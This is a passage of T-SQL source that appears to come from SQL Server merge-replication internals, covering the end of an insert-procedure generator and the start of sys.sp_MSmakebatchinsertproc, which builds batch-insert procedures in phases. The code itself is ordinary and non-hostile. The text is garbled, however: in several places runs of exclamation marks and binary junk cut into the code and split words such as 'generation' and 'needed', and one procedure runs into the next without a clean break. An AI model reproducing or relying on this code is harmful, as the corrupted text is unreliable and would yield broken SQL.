    select @loop_counter = @loop_counter + 1
end -- end of while @loop_counter <= 2

if (@explicit_column_list = 0)
    begin
        -- Use * only if we didn't skip any columns and 
        -- we didn't rearrange any blob columns.
        if @setcolcnt = @colcnt and @table_has_blob <> 1
        begin
            if @prefix_tablename is not NULL
                select @column_list = @pref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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(PlLv4C

    declare @resend int

    set @resend = 0 '
end

if @permissions>0
begin
    select @cmdpiece = @cmdpiece + '
    exec @retcode = sys.sp_MSreplcheck_permission @objid = ' + @idstr + ', @type = 1, @permissions = ' + @permissions_str + '
    if @retcode<>0 or @@ERROR<>0 return (4)'
end 

insert into #tempcmd (phase, cmdtext) values (6, @cmdpiece)


if (0 = @generate_downlevel_procs AND @atpublisher = 1 and @maxschemaguid is not NULL)
begin
    -- phase 5 - check the max schema guid for article and error out if they do not match
    set @cmdpiece= '
    declare @maxschemaguid  uniqueidentifier
    select @maxschemaguid = ''' + convert(nvarchar(36),@maxschemaguid) + '''
    if ((@maxschemaguidforarticle IS NOT NULL) and (@maxschemaguid <> @maxschemaguidforarticle))
    begin
        RAISERROR (25007, 11, -1)
        return 5
    end'
    insert into #tempcmd (phase, cmdtext) values (5, @cmdpiece)
end



-- phase 7 is optional set identity insert on, goes in during loop if needed
-- phase 8 is beginning a sub transaction, setting save point and starting insert statement
if 1 = @maintainsmetadata
begin
    set @cmdpiece = '
    if @@trancount = 0 
    begin
        begin transaction
        select @started_transaction = 1
    end
    if @metadata_type = 1 or @metadata_type = 5
    begin
        if @compatlevel < 90 and @lineage_old is not null
            set @lineage_old= {fn LINEAGE_80_TO_90(@lineage_old)}
        -- check meta consistency
        if not exists (select * from dbo.MSmerge_tombstone where tablenick = @tablenick and rowguid = @rowguid and
                        lineage = @lineage_old)
        begin
            set @errcode= 2
            goto Failure
        end
    end
    -- set row meta data
    '
    
    if @partition_options = 2 or @partition_options = 3
        select @cmdpiece = @cmdpiece + '
    if @lineage is not null
    begin '

    select @cmdpiece = @cmdpiece + '
        exec @retcode= sys.sp_MSsetrowmetadata 
            @tablenick, @rowguid, @generation, 
            @lineage, @colv, 2, @resend OUTPUT,
            @compatlevel, 1, ''' + convert(nvarchar(36),@pubid) + ''''
     
     if @partition_options = 2 or @partition_options = 3
     begin
        if @atpublisher = 1
            select @cmdpiece = @cmdpiece + ',       
        @publication_number = @publication_number, @partition_id = @partition_id, @partition_options = 2 '
        else
            select @cmdpiece = @cmdpiece + ',       
        @publication_number = NULL, @partition_id = NULL, @partition_options = 2 '
        end

        select @cmdpiece = @cmdpiece + '
        if @retcode<>0 or @@ERROR<>0
        begin
            set @errcode= 0
            goto Failure
        end '

    if @partition_options = 2 or @partition_options = 3
        select @cmdpiece = @cmdpiece + '
    end '
    
    select @cmdpiece = @cmdpiece + '
    insert into ' + @qualified_name + ' ('
end
else
begin
    set @cmdpiece= '
    insert into ' + @qualified_name + ' ('
end

insert into #tempcmd (phase, cmdtext) values (8, @cmdpiece)

-- phase 9 is column list that we are inserting; done in loop

-- phase 10 is just the opening and closing parens and VALUES keyword
set @cmdpiece = ') values ('
insert into #tempcmd (phase, cmdtext) values (10, @cmdpiece)

-- phase 11 is all of those arguments as the list of value expressions; done in loop
-- phase 12 finish insert, check status, etc.
-- if we have a permanent view, check for case where we inserted a row that doesn't
-- meet filters of subscriber we are getting the insert from
set @cmdpiece = ')
        select @rowcount= @@rowcount, @error= @@error
        if (@rowcount <> 1)
        begin
            set @errcode= 3
            goto Failure
        end
'
insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece)

-- only add the following code when creating proc at publisher
if @atpublisher = 1
begin
    if @partition_options > 0
    begin
        -- for > 0 partition_options we will not allow out of partition inserts
        if exists (select * from dbo.sysmergearticles where pubid = @pubid and objid = @id
                                                and len(subset_filterclause) > 0)
                                        or exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and 
                                                        (art_nickname = @tablenick or join_nickname = @tablenick))
        begin        
            select @cmdpiece = '
            if not exists (select 1 from ' + QUOTENAME(OBJECT_NAME(sync_objid))
                from dbo.sysmergearticles where pubid = @pubid and objid = @id
            set @cmdpiece = @cmdpiece + ' where ' + @rgcolname + ' = @rowguid) 
            begin
                raiserror(20703, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''', ' + convert(char(3), @partition_options) + ')
                set @errcode= 3
                goto Failure
            end'
            insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece)
        end
    end
    else
    begin
        -- Add in pieces that check for inserting a row that instantly means other rows need to be downloaded
        -- If we insert such a row, set the generation and partchangegen so that we will download everything
        -- that needs to go.

        exec sys.sp_MSexclause @tablenick, @pubid, @phase = 12
        if @@error<>0 return(1)

        if exists (select * from dbo.sysmergearticles where pubid = @pubid and objid = @id
                                and len(subset_filterclause) > 0)
                        or exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and 
                                                (art_nickname = @tablenick or join_nickname = @tablenick))
        begin        
            select @cmdpiece = '
            if not exists (select 1 from ' + QUOTENAME(OBJECT_NAME(sync_objid))
                    from dbo.sysmergearticles where pubid = @pubid and objid = @id
            set @cmdpiece = @cmdpiece + ' where ' + @rgcolname + ' = @rowguid) 
            begin
                    select @resend = 1 '
    
            insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece)

            if exists (select * from dbo.sysmergepublications where pubid = @pubid and use_partition_groups >= 1)
            begin
                    select @cmdpiece = '
                    if @partition_id is not null
                            insert into dbo.MSmerge_past_partition_mappings (publication_number,tablenick,rowguid,partition_id,generation, reason)
                            values (@publication_number, @tablenick, @rowguid, @partition_id, 0,0)'

                    insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece)
            end
                                                
            exec sys.sp_MSinsertbeforeimageclause @pubid, @id, @tablenickstr, @phase = 12

            set @cmdpiece = ' 
            end '
            insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece)
        end
    end
end

-- if we already have a tombstone for this row, (especially a remove from partial) then
-- make sure we will set the generation so that it goes on down to subscribers of republishers
-- for backward compatibility, for 7.0 subscribers we do not want @resend to be 1

if 1 = @maintainsmetadata
begin
    set @cmdpiece = '
    -- set row meta data
    if @resend > 0  
        update dbo.MSmerge_contents set generation = 0, partchangegen = 0 
            where rowguid = @rowguid and tablenick = @tablenick '

    insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece)

    set @cmdpiece='
    if @started_transaction = 1
        commit tran
    '
    insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece)
end

-- phase 13 is setting identity insert off if ne!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<]Ql[4Ceded; done in loop

-- now loop over columns and insert missing command pieces
--
if @sync_objid = @id
    select @colid = min (column_id) from sys.columns where object_id = @id and is_computed=0 and user_type_id<>type_id('timestamp') 
else
    select @colid = min(cs.column_id) 
        from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
    where cs.object_id = @sync_objid and 
          co.is_computed=0 and co.user_type_id<>type_id('timestamp') 


select top 1 @colname = QUOTENAME(C.name), 
    @typename = type_name(C.user_type_id), 
    @base_typename = type_name(C.system_type_id), 
    @len = C.max_length,
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                                then QUOTENAME(S.name)+'.' else '' end, 
    @prec = C.precision, 
    @scale = C.scale
    from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @sync_objid and C.column_id = @colid
    
select @isidentitycolumn = is_identity, @iscomputed = is_computed, @xtype=user_type_id, @is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) from sys.columns 
    where object_id = @id and QUOTENAME(name) = @colname
if @base_typename='nvarchar' or @base_typename='nchar' -- a unit of nchar takes 2 bytes
    select @len = @len/2
set @colordinal = 1

while (@colname is not null)
begin
    if (@iscomputed=1 OR type_name(@xtype)='timestamp')
        goto Next_Column

    set @colordstr = convert(nvarchar(4), @colordinal)

    if @generate_subscriber_proc = 0
        exec @retcode = sys.sp_MSmaptype @typename out, @len, @prec, @scale
    else
        exec @retcode = sys.sp_MSmap_subscriber_type @xtype, @len, @prec, @scale, @schema_option, @typename out, @schname out
    if @@error<>0 OR @retcode <>0 return (1)

    select @argname = '@p' + rtrim(convert(nchar, @colordinal))

    insert into #coltab (colname, paramname) values (@colname, @argname)

    -- add to argument list (phase 1)
    set @cmdpiece = ', 
        ' + @argname + ' ' + @schname + @typename
    insert into #tempcmd (phase, cmdtext) values (1, @cmdpiece)

    set @valuename=@argname

    -- add to column list and value list
    if (@colordinal = 1)
    begin
        -- column list is phase 9
        set @cmdpiece = @colname
        insert into #tempcmd (phase, cmdtext) values (9, @cmdpiece)

        -- argname for values list is phase 11
        set @cmdpiece = @valuename
        insert into #tempcmd (phase, cmdtext) values (11, @cmdpiece)
    end
    else
    begin
        -- column list is phase 9; need preceding comma since not the first one.
        set @cmdpiece = ', 
        '+@colname
        insert into #tempcmd (phase, cmdtext) values (9, @cmdpiece)

        -- argname for values list is phase 11 need preceding comma since not the first one.
        set @cmdpiece = ', 
        '+@valuename
        insert into #tempcmd (phase, cmdtext) values (11, @cmdpiece)
        end
        
    -- is this an identity column without 'not for replication' marking?
    if (@isidentitycolumn = 1) and 
       @is_identitynotforreplication = 0
    begin
        -- turning identity insert on is phase 7
        set @cmdpiece = '
    set identity_insert ' + @qualified_name + ' on'
        insert into #tempcmd (phase, cmdtext) values (7, @cmdpiece)

        -- turning identity insert on is phase 13
        set @cmdpiece = '
    set identity_insert ' + @qualified_name + ' off'
        insert into #tempcmd (phase, cmdtext) values (13, @cmdpiece)
    end

Next_Column:
    -- now set up to repeat the loop with the next column
    select @colid = min (column_id) from sys.columns where object_id = @sync_objid and column_id > @colid 
        
    set @colname = NULL
    if @colid is not null

    select top 1 @colname = QUOTENAME(C.name), 
    @isidentitycolumn = C.is_identity,
    @typename = type_name(C.user_type_id), 
    @base_typename = type_name(C.system_type_id), 
    @len = C.max_length,
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                                    then QUOTENAME(S.name)+'.' else '' end, 
    @prec = C.precision, 
    @scale = C.scale
    from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @sync_objid and C.column_id = @colid    

    select @isidentitycolumn = is_identity, @iscomputed=is_computed, @xtype=user_type_id, @is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) from sys.columns 
        where object_id = @id and QUOTENAME(name) = @colname
        
    if @base_typename='nvarchar' or @base_typename='nchar' -- a unit of nchar takes 2 bytes
        select @len = @len/2
    set @colordinal = @colordinal + 1
end

if 1 = @maintainsmetadata
begin
    select @cmdpiece = ',@metadata_type tinyint = NULL, @lineage_old varbinary(311) = NULL, @compatlevel int = 10 '
    
    if @atpublisher = 1
        select @cmdpiece = @cmdpiece + ', @partition_id int = NULL'

    insert into #tempcmd (phase, cmdtext) values (1, @cmdpiece)
end
           
-- phase 10 is returning our success / failure status
if 1 = @maintainsmetadata
begin
    set @cmdpiece = '
    delete from dbo.MSmerge_metadataaction_request
        where tablenick=@tablenick and rowguid=@rowguid


    return(1)

Failure:
    if @started_transaction = 1
        rollback tran

    '
end
else
begin
    set @cmdpiece = '
    delete from dbo.MSmerge_metadataaction_request
        where tablenick=@tablenick and rowguid=@rowguid

    return(1)

Failure:
    '
end

insert into #tempcmd (phase, cmdtext) values (14, @cmdpiece)

if 1 = @maintainsmetadata
begin
    exec sys.sp_MScreatedupkeyupdatequery
            @tablename= @qualified_name,
            @tablenickstr= @tablenickstr,
            @phase= 14,
            @isconflictproc= 0,
            @tablename2 = @qualified_name2
end

set @cmdpiece= '
    return(@errcode)
    '
insert into #tempcmd (phase, cmdtext) values (14, @cmdpiece)

-- Now we select out the command text pieces in proper order so that our caller,
-- xp_execresultset will execute the command that creates the stored procedure.
select cmdtext from #tempcmd order by phase, step

drop table #tempcmd
drop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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Rrvcreate procedure sys.sp_MSmakebatchinsertproc 
    (@tablename sysname, @ownername sysname, @procname sysname, @pubid uniqueidentifier, @artid uniqueidentifier,
     @generate_subscriber_proc bit = 0, @destination_owner sysname = NULL)
as
declare @argname                        sysname
declare @id                             int
declare @sync_objid                     int
declare @qualified_name                 nvarchar(270)
declare @idstr                          nvarchar(100)
declare @iscomputed                     tinyint
declare @xtype                          int
declare @is_identitynotforreplication   bit
declare @retcode                        int
declare @colname                        nvarchar(140)
declare @typename                       nvarchar(258)
declare @base_typename                       nvarchar(140)
declare @schname                         nvarchar(140)   --track the typename owner if it is CLR UDT
declare @isidentitycolumn               bit
declare @len                            smallint
declare @prec                           int
declare @scale                          int
declare @tablenick                      int
declare @tablenickstr                   nvarchar(12)
declare @cmdpiece                       nvarchar(4000)
declare @maintainsmetadata              bit
declare @colid int -- index in sys.columns, used to iterate through sys.columns
declare @colordinal int -- index in @setbm, used to interate actual data sent across
declare @colordstr nvarchar(5) -- @colordinal stringification
declare @colcount int
declare @maxparams int
declare @batchingfactor int
declare @rownumber int
declare @rownumberstr nvarchar(5)
declare @insertcolumnsstarted bit
declare @colnumber int
declare @colidstr nvarchar(5)
declare @colalias nvarchar(100)
declare @isrowguidcol tinyint
declare @partition_options tinyint
declare @atpublisher bit
declare @publication_number smallint
declare @qualified_sync_view nvarchar(517)
declare @rgcolname nvarchar(140)
declare @before_image_objid int
declare @qualified_before_image_table nvarchar(517)
declare @col_in_bitable bit
declare @bitable_colnumber int
declare @unquoted_colname sysname
declare @maxschemaguid uniqueidentifier
declare @phaseid int
declare @command1 nvarchar(4000)
declare @command2 nvarchar(4000)
declare @command3 nvarchar(4000)
declare @max_colv_size_in_bytes int
declare @schema_option varbinary(8)

set nocount on

-- Check for subscribing permission
exec @retcode=sys.sp_MSreplcheck_subscribe
if @retcode<>0 or @@ERROR<>0 return (0)

if @ownername is NULL or @ownername=''
    select @qualified_name = QUOTENAME(@tablename)
else    
    select @qualified_name = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)
    
select @id = object_id(@qualified_name)
if @id is NULL 
    return (1)
    
if exists (select * from dbo.sysmergearticles where objid = @id and column_tracking = 1)
begin
    declare @current_col_count int, @missing_col_count int
    select @current_col_count = count(*) 
            from sys.columns where object_id = @id
    select @missing_col_count = coalesce((select max(missing_col_count) 
            from dbo.sysmergearticles where objid = @id), 0)
    -- 12 bytes per column in table + 1 trailing byte for colv.
    select @max_colv_size_in_bytes = 12 * (@current_col_count + @missing_col_count) + 1
    if @max_colv_size_in_bytes > 2953
            select @max_colv_size_in_bytes = 2953
end
else
    select @max_colv_size_in_bytes = 1
                        
select @rgcolname = QUOTENAME(name) from sys.columns where object_id = @id and is_rowguidcol = 1
if @rgcolname is null
    set @rgcolname = 'rowguid'

select @sync_objid = sync_objid, 
@partition_options = partition_options, @schema_option=schema_option, @tablenick = nickname
from dbo.sysmergepartitioninfoview where artid = @artid and pubid=@pubid
if @tablenick is NULL
    return (1)

set @tablenickstr = rtrim(convert(nchar, @tablenick))

if exists (select * from dbo.sysmergearticles where pubid = @pubid and nickname = @tablenick
                        and len(subset_filterclause) > 0)
                or exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and 
                        (art_nickname = @tablenick or join_nickname = @tablenick))
begin
    exec @retcode = sys.sp_MSget_qualified_name @sync_objid, @qualified_sync_view output
    if @sync_objid is not NULL and @qualified_sync_view is NULL
            return 1
end
else
begin
    select @qualified_sync_view = NULL
end

select @before_image_objid = max(before_image_objid) from dbo.sysmergearticles where objid = @id and
        before_image_objid is not null
exec @retcode = sys.sp_MSget_qualified_name @before_image_objid, @qualified_before_image_table output
if @before_image_objid is not NULL and @qualified_before_image_table is NULL
    return 1

if @partition_options = 2
begin
    -- if this is a republisher of this article, and we are currently
    -- downloading from the top-level publisher, then pretend that this is 
    -- not a well-partitioned article. This is done such that the partition evaluation
    -- and setrowmetadata is done appropriately.
    if sys.fn_MSmerge_islocalpubid(@pubid) = 0 
        and exists (select * from dbo.sysmergearticles 
                    where artid = @artid
                    and sys.fn_MSmerge_islocalpubid(pubid) = 1)
        select @partition_options = 0
end

set @idstr = rtrim(convert(nchar, @id))

select @insertcolumnsstarted = 0


if @generate_subscriber_proc = 1
begin
    select @atpublisher = 0
    select @qualified_name = quotename(@destination_owner) + '.' + quotename(@tablename)
    if exists (select 1 from dbo.sysmergearticles where artid=@artid and pubid=@pubid and upload_options in (1,2))
        select @maintainsmetadata = 0
    else
        select @maintainsmetadata = 1
end
else
begin
    set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
    select @atpublisher = sys.fn_MSmerge_islocalpubid(@pubid)
    select @maxschemaguid = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)
end


select top 1 @publication_number = publication_number 
from dbo.sysmergepublications 
where pubid = @pubid

-- compute batching factor. For each row we need 
-- max params is 1024-2 for the first 2 parameters which is number of rows to be inserted, partition id
select @maxparams=1024-2

-- subtract one more since we have a @maxschemaguidforarticle parameter on the publisher
if @atpublisher = 1
    select @maxparams = @maxparams - 1

if @sync_objid = @id
    select @colcount = count(*) from sys.columns where object_id = @id and is_computed=0 and user_type_id<>type_id('timestamp') 
else
    select @colcount = count(*) 
        from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
    where cs.object_id = @sync_objid and 
          co.is_computed=0 and co.user_type_id<>type_id('timestamp') 

-- for regular articles for each row we need rowguid, generation, lineage and colv in addition 
-- to the list of user table columns. For download only articles we only need rowguid
if 1 = @maintainsmetadata
    select @colcount = @colcount + 4
else
    select @colcount = @colcount + 1

select @batchingfactor = @maxparams/@colcount
if @batchingfactor > 100
    select @batchingfactor = 100


-- create temp table to select the command text out of
declare @tempcmd table (phase int NOT NULL, step int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)

-- phase 0 : create procedure and fixed part of argument list

if @atpublisher = 1
begin
    set @cmdpiece = 'create procedure dbo.'  + QUOTENAME(@procname) + ' (
        @maxschemaguidforarticle uniqueidentifier,
        @rows_tobe_inserted int,
        @partition_id int = null '
    insert into @tempcmd (phase, cmdtext) values (0, @cmdpiece)
end
els!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Sȿ1ve
begin
    set @cmdpiece = 'create procedure dbo.'  + QUOTENAME(@procname) + ' (
        @rows_tobe_inserted int,
        @partition_id int = null '
    insert into @tempcmd (phase, cmdtext) values (0, @cmdpiece)
end

-- phase 10 is rest of the arguments built based on batching factor etc
select @cmdpiece = '
) as
begin
    declare @errcode    int
    declare @retcode    int
    declare @rowcount   int
    declare @error      int
    declare @rows_in_contents int
    declare @rows_inserted_into_contents int
    declare @publication_number smallint
    declare @gen_cur bigint
    declare @rows_in_tomb bit
    declare @rows_in_syncview int
    declare @marker uniqueidentifier
    
    set nocount on
    
    set @errcode= 0
    set @publication_number = ' + convert(nvarchar(10), @publication_number) + '
    
    if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
    begin
        RAISERROR (14126, 11, -1)
        return 4
    end

    if @rows_tobe_inserted is NULL or @rows_tobe_inserted <=0
        return 0

'
   
    insert into @tempcmd (phase, cmdtext) values (20, @cmdpiece)

if @atpublisher = 1
begin
    -- phase 5 - check the max schema guid for article and error out if they do not match
    set @cmdpiece= '
    declare @maxschemaguid    uniqueidentifier
    select @maxschemaguid = ''' + convert(nvarchar(36),@maxschemaguid) + '''
    if ((@maxschemaguidforarticle IS NOT NULL) and (@maxschemaguid <> @maxschemaguidforarticle))
    begin
        RAISERROR (25007, 11, -1)
        return 5
    end    '
    insert into @tempcmd (phase, cmdtext) values (20, @cmdpiece)
end

select @cmdpiece = '
    begin tran
    save tran batchinsertproc 

    exec @retcode = sys.sp_MSmerge_getgencur_public ' + @tablenickstr + ', @rows_tobe_inserted, @gen_cur output
    if @retcode<>0 or @@error<>0
        return 4

'
insert into @tempcmd (phase, cmdtext) values (20, @cmdpiece)

-- we need to insert the row metadata first so that the insert trigger
-- does not insert the contents row.
if 1 = @maintainsmetadata
begin
    -- if any of the rows exist in tombstone we will abort the batched insert
    select @cmdpiece = '
    select @rows_in_tomb = 0
    select @rows_in_tomb = 1 from ('
    insert into @tempcmd (phase, cmdtext) values (22, @cmdpiece)
    -- list of rowguids will be in phase 25
    insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(25, @batchingfactor) order by step
    select @cmdpiece = '
    ) as rows
    inner join dbo.MSmerge_tombstone tomb with (rowlock) 
    on tomb.rowguid = rows.rowguid
    and tomb.tablenick = ' + @tablenickstr + '
    and rows.rowguid is not NULL
        
    if @rows_in_tomb = 1
    begin
        raiserror(20692, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''')
        set @errcode=3
        goto Failure
    end'
    insert into @tempcmd (phase, cmdtext) values (27, @cmdpiece)
    
    select @cmdpiece = '
    
    select @marker = newid()
    insert into dbo.MSmerge_contents with (rowlock)
    (rowguid, tablenick, generation, partchangegen, lineage, colv1, marker)
    select rows.rowguid, ' + @tablenickstr + ', rows.generation, (-rows.generation), rows.lineage, rows.colv, @marker
    from ('
    insert into @tempcmd (phase, cmdtext) values (30, @cmdpiece)
    -- phase 50 will be virtual table with the row metadata
    select @cmdpiece = '
    ) as rows
    where rows.rowguid is not NULL '
    insert into @tempcmd (phase, cmdtext) values (60, @cmdpiece)
    
    if @partition_options > 1
    begin
        select @cmdpiece = '
    and rows.lineage is not null '
        insert into @tempcmd (phase, cmdtext) values (61, @cmdpiece)
    end

    select @cmdpiece = '
    select @rows_inserted_into_contents = @@rowcount, @error = @@error
    if @error<>0
    begin
        set @errcode=3
        goto Failure
    end'
    insert into @tempcmd (phase, cmdtext) values (62, @cmdpiece)
    
    if @partition_options < 2
    begin
        select @cmdpiece = '
    if (@rows_inserted_into_contents <> @rows_tobe_inserted)
    begin
        raiserror(20693, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''')
        set @errcode=4
        goto Failure
    end'    
        insert into @tempcmd (phase, cmdtext) values (63, @cmdpiece)
    end
    
    if @partition_options > 1 and @atpublisher = 1
    begin
        select @cmdpiece = '
    if @partition_id is not null
    begin
        insert into dbo.MSmerge_current_partition_mappings with (rowlock)
        (tablenick, rowguid, publication_number, partition_id)
        select distinct ' + @tablenickstr + ', rows.rowguid, @publication_number, @partition_id
        from ('
        insert into @tempcmd (phase, cmdtext) values (70, @cmdpiece)
        -- phase 80 will be virtual table with the row metadata
        select @cmdpiece = '
        ) as rows
        where rows.rowguid is not NULL
        and rows.lineage is not null
        select @error = @@error
        if @error<>0
        begin
            set @errcode= 3
            goto Failure
        end
    end'
        insert into @tempcmd (phase, cmdtext) values (90, @cmdpiece)
    end
end

-- phase 100 is the insert statement
select @cmdpiece = '
    insert into ' + @qualified_name + ' with (rowlock) ('
insert into @tempcmd (phase, cmdtext) values (100, @cmdpiece)
-- phase 120 will have all the column names
-- now for completing insert and the select from the vtable
select @cmdpiece = ')
    select '
insert into @tempcmd (phase, cmdtext) values (150, @cmdpiece)
-- phase 170 will contain column names selected from the virtual table
-- complete the select
select @cmdpiece = '
    from ('
insert into @tempcmd (phase, cmdtext) values (180, @cmdpiece)
-- phase 200 will have the virtual table declaration for all the column values
select @cmdpiece = '
    ) as rows
    where rows.rowguid is not NULL
    select @rowcount = @@rowcount, @error = @@error'
insert into @tempcmd (phase, cmdtext) values (250, @cmdpiece)

-- phase 250 will also contain the optional identity insert off
    
select @cmdpiece = '
    if (@rowcount <> @rows_tobe_inserted) or (@error <> 0)
    begin
        set @errcode= 3
        goto Failure
    end
'
insert into @tempcmd (phase, cmdtext) values (300, @cmdpiece)

-- if @qualified_sync_view is not NULL and partition_id is not null check if 
-- the row is present in sync_view. If NOT do the following:
-- 1. insert a past partition mapping for the row
-- 2. update generation and partchangegen to 0
-- 3. if there is a before image table, insert the row into the before image table
if @atpublisher = 1 and @qualified_sync_view is not NULL
begin
    if @partition_options>0
    begin
        -- for partition_options > 0 we will not allow out of partition inserts
        select @cmdpiece = '
     select @rows_in_syncview = count (*) from ' + @qualified_sync_view + ' syncview with (READPAST)
     where syncview.' + @rgcolname + ' in 
     ('
        insert into @tempcmd (phase, cmdtext) values (320, @cmdpiece)
        -- phase 330 will be rowguids
        insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguids(330, @batchingfactor) order by step
        select @cmdpiece = '
     )
            
     if @rows_in_syncview <> @rows_tobe_inserted
     begin
        raiserror(20703, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''', ' + convert(char(3), @partition_options) + ')
        set @errcode= 3
        goto Failure
     end'
        insert into @tempcmd (phase, cmdtext) values (340, @cmdpiece)
    end
    else
    begin
        select @cmdpiece = '
    if @partition_id is not NULL
    begin
        insert into dbo.MSmerge_past_partition_mappings with (rowlock)
        (publication_number, tablenick, rowguid, partition_id, generat!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(TK75vion, reason)
        select @publication_number, ' + @tablenickstr + ', rows.rowguid, @partition_id, @gen_cur, 0
        from ('
        insert into @tempcmd (phase, cmdtext) values (320, @cmdpiece)
        -- phase 330 will be virtual table with the rowguids
        insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(330, @batchingfactor) order by step
        select @cmdpiece = '
        ) as rows
        where not exists (select syncview.' + @rgcolname + ' from ' + @qualified_sync_view + ' syncview with (READPAST) where
                            syncview.' + @rgcolname + ' = rows.rowguid)
        and rows.rowguid is not NULL
        if @@error<>0
        begin
            set @errcode= 3
            goto Failure
        end
    end'
        insert into @tempcmd (phase, cmdtext) values (340, @cmdpiece)

        select @cmdpiece = '
    update dbo.MSmerge_contents with (rowlock)
        set generation = @gen_cur, partchangegen = @gen_cur
    from ('
        insert into @tempcmd (phase, cmdtext) values (350, @cmdpiece)
        -- phase 360 will be virtual table with the rowguids
        insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(360, @batchingfactor) order by step
        select @cmdpiece = '
    ) as rows
    inner join dbo.MSmerge_contents cont with (rowlock, READPAST) 
    on cont.rowguid = rows.rowguid and cont.tablenick = ' + @tablenickstr + '
    and rows.rowguid is not null
    left outer join ' + @qualified_sync_view + ' syncview with (READPAST) 
    on syncview.' + @rgcolname + ' = rows.rowguid
    where syncview.' + @rgcolname + ' is NULL
    and rows.rowguid is not null
    
    if @@error<>0
    begin
        set @errcode= 3
        goto Failure
    end'
        insert into @tempcmd (phase, cmdtext) values (370, @cmdpiece)

        if @qualified_before_image_table is not NULL
        begin
            select @cmdpiece = '
    insert into ' + @qualified_before_image_table + ' with (rowlock)
    (generation, system_delete'
            insert into @tempcmd (phase, cmdtext) values (380, @cmdpiece)
            -- the list of columns in the before image table are filtering columns, generation, system_delete
            -- phase 390 will be the list of filtering columns and rowguid column
            select @cmdpiece = ')
        select @gen_cur, 1'
            insert into @tempcmd (phase, cmdtext) values (400, @cmdpiece)
            -- phase 410 will be the filtering column and rowguid selection from the virtual table
            select @cmdpiece = '
        from ( '
            insert into @tempcmd (phase, cmdtext) values (420, @cmdpiece)
            -- phase 430 will be the virtual table definition
            select @cmdpiece = '
    ) as rows
    left outer join ' + @qualified_sync_view + ' syncview with (READPAST) 
    on syncview.' + @rgcolname + ' = rows.rowguid
    and rows.rowguid is not null
    where syncview.' + @rgcolname + ' is NULL
    and rows.rowguid is not null
    
    if @@error<>0
    begin
        set @errcode= 3
        goto Failure
    end'
            insert into @tempcmd (phase, cmdtext) values (440, @cmdpiece)
        end
    end
end


if 1 = @maintainsmetadata
begin
    select @cmdpiece = '
    exec @retcode = sys.sp_MSdeletemetadataactionrequest ''' + convert(nvarchar(36),@pubid) + ''', ' + @tablenickstr
    set @rownumber = 1
    while @rownumber <= @batchingfactor
    begin
        select @cmdpiece = @cmdpiece + ', 
        @rowguid' + convert(nvarchar(3), @rownumber)
        select @rownumber = @rownumber + 1
    end
    select @cmdpiece = @cmdpiece + '
    if @retcode<>0 or @@error<>0
        goto Failure
    '
    insert into @tempcmd (phase, cmdtext) values (10200, @cmdpiece)
end
    
select @cmdpiece = '
    commit tran
    return 1

Failure:
    rollback tran batchinsertproc
    commit tran
    return 0
end
'
insert into @tempcmd (phase, cmdtext) values (15000, @cmdpiece)

